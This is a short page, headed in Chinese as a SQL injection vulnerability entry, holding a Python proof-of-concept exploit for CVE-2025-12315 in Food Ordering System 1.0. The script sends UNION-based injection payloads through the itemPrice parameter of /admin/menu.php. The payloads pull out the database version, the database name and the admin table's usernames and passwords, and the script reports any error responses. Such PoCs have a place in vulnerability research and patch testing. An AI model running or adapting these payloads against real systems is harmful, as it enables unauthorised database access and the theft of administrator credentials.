CVE-2025-12315: Food Ordering System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-12315 SQL Injection PoC # Target: Food Ordering System 1.0 /admin/menu.php # Payload: SQL injection via itemPrice parameter target_url = "http://target.com/admin/menu.php" # SQL Injection Payloads payloads = [ # Basic SQL injection to test vulnerability "1' OR '1'='1", # Union-based injection to extract database version "1' UNION SELECT NULL,@@version,NULL,NULL-- -", # Extract database name "1' UNION SELECT NULL,database(),NULL,NULL-- -", # Extract admin table usernames "1' UNION SELECT NULL,group_concat(username),NULL,NULL FROM admin-- -", # Extract admin table passwords "1' UNION SELECT NULL,group_concat(password),NULL,NULL FROM admin-- -" ] def test_sqli(url, payload): """Test SQL injection vulnerability""" data = { 'itemPrice': payload, 'action': 'update' # Common action parameter } try: response = requests.post(url, data=data, timeout=10) # Check for SQL error messages or successful injection if 'SQL' in response.text or 'error' in response.text.lower(): print(f"[+] Potential vulnerability detected with payload: {payload}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-12315 SQL Injection Test") print("[*] Target:", target_url) for payload in payloads: print(f"[*] Testing payload: {payload}") test_sqli(target_url, payload)